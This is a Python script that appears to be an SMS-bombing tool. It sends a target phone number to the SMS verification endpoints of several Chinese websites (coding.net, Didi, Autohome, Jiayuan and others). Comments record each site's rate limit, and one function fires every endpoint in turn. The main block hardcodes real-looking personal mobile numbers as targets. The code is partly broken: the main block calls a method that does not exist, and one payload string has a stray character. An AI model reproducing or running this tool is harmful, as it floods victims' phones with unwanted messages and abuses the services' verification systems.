#coding:utf8
import requests,json,time,re
from day_log import log_set
class Requests():
    def __init__(self,headers=None,proxies=None,use_proxies=0):
        self.headers=headers or {'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36'}
        self.proxies=proxies
        self.session=self._gen_session()
    def _gen_session(self):
        s=requests.session()
        s.headers=self.headers
        log_set('gen session is ok ,headers=%s'%self.headers)
        return s
    def get(self,url,proxies=None,add_header=None):
        if add_header:
            self.headers.update(add_header)
        for i in range(5):
            try:
                resp=self.session.get(url,proxies=proxies,verify=False)
                code=resp.status_code
                if code <400:
                    log_set('code:%s'%code)
                    return code,resp.text
            except Exception as e:
                log_set('xxxx,get fail,%s'%str(e))
            
    def post(self,url,proxies=None,add_header=None,data=None):
        if add_header:
            self.headers.update(add_header)
        for i in range(5):
            try:
                resp=self.session.post(url,proxies=proxies,data=data,verify=False)
                code=resp.status_code
                if code <400:
                    log_set('code:%s'%code)
                    return code,resp.text
            except:
                pass
class SMS():
    def __init__(self,phone):
            self.r=Requests()
            self.phone=phone
    def message_dingding(self):
        """ no limit """
        self.r=Requests()
        data={"phoneCountryCode":"+86", 
              "phone":"%s"%self.phone,
              "country":"cn",
            }
        log_set(self.r.post('https://coding.net/api/account/register/generate_phone_code',data=data))

    def message_kuaicc(self):
        self.r=Requests()
        data={'q':'{"smstype":0,"cell":"'+self.phone+'"%,"showClose":"true",\
              "role":2,"origin_id":"1","url":"https://www.udache.com/app/mDriverReg/index#/",\
              "version":"0.5.6","__method__":"POST","appid":"300000003","scene":"9","userType":0,"flag":1,"sendsms":"true"}'}
        ret=self.r.post('https://epassport.diditaxi.com.cn/passport/login/smsget',data=data)
        log_set(json.loads(ret[1]).get('errmsg','xx'))
    def message_qichezhijia(self):
        """ no limit """
        self.r=Requests()
        data={"phone":"%s"%self.phone,
    "isOverSea":0,
    "validcodetype":1,
              "":""}
        ret=self.r.post('http://account.autohome.com.cn/AccountApi/CreateMobileCode',data=data)
        log_set(json.loads(ret[1]).get('errmsg','xx'))
    def message_dianjinhu(self):
        """ 3 """
        self.r=Requests()
        data={"mobile":"%s"%self.phone, 
            }
        ret=self.r.post('http://www.dianjinghu.com/web.php?m=home&c=login&a=sendSms',data=data,add_header={"X-Requested-With": "XMLHttpRequest"})
        log_set(json.loads(ret[1]).get('notice','xx'))

    def message_haibao(self):
        """ 3 """
        self.r=Requests()
        data={"mobile":"%s"%self.phone, 
            }
        ret=self.r.post('http://user.haibao.com/ajax/user:sendSmsCaptchaForLogin.json?v=0.2962627654813621',data=data,add_header={"X-Requested-With": "XMLHttpRequest"})
        log_set(json.loads(ret[1]).get('notice','xx'))
    def message_cjdby(self):
        """ 3 """
        self.r=Requests()
        mobile='%s'%self.phone
        ret=self.r.get('https://lt.cjdby.net/forum.php?mod=ajax&inajax=yes&infloat=register&handlekey=register&ajaxmenu=1&action=sendsmscode&sms=%s'%mobile,add_header={"X-Requested-With": "XMLHttpRequest"})
        log_set(ret[1])
    def message_sjjy(self):
        """ 3 """
        self.r=Requests()
        data={
            "xajax":"processUserMobile",
"xajaxargs[]":"<xjxquery><q>mobile=%s</q></xjxquery>"%self.phone,
"xajaxr":str(time.time()).replace(',','8')
            }
        ret=self.r.post('http://reg.jiayuan.com/libs/xajax/reguser.server.php?processUserMobile',data=data,add_header={"X-Requested-With": "XMLHttpRequest"})
        log_set(ret[1])
    def message_shiyong(self):
        self.r=Requests()
        data={"username":"%s"%self.phone, 
            }
        ret=self.r.post('https://www.shiyong.com/member/verification_code/send.html',data=data,add_header={"X-Requested-With": "XMLHttpRequest"})
        log_set(json.loads(ret[1]).get('msg','xx'))
    def xx_hw(self):
        self.r=Requests()
        token=re.findall('id="token" value="(.*?)" ',self.r.get('http://www.hw-go.net/user.php?act=register')[1])[0]
        print(token)
        data={
            "mobile":"%s"%self.phone, 
            "time":str(time.time()).split('.')[0],
            "token":token,
            "type":"0",
            }
        ret=self.r.post('http://www.hw-go.net/ajax.php?m=verify',data=data,add_header={"X-Requested-With": "XMLHttpRequest",
                                                                                      "Referer":"http://www.hw-go.net/user.php?act=register"})
        log_set(json.loads(ret[1]).get('msg','xx'))

        
def do_sms(phone):
    sms=SMS(phone)
    for i in dir(sms):
        if i.startswith('message'):
            log_set( i)
            k = getattr(sms,i)
            try:
                k()
            except :
                pass


if __name__=='__main__':
    phone='18926242811'
    #phone='13112214296'
    sms=SMS(phone)
    sms.message_hw()
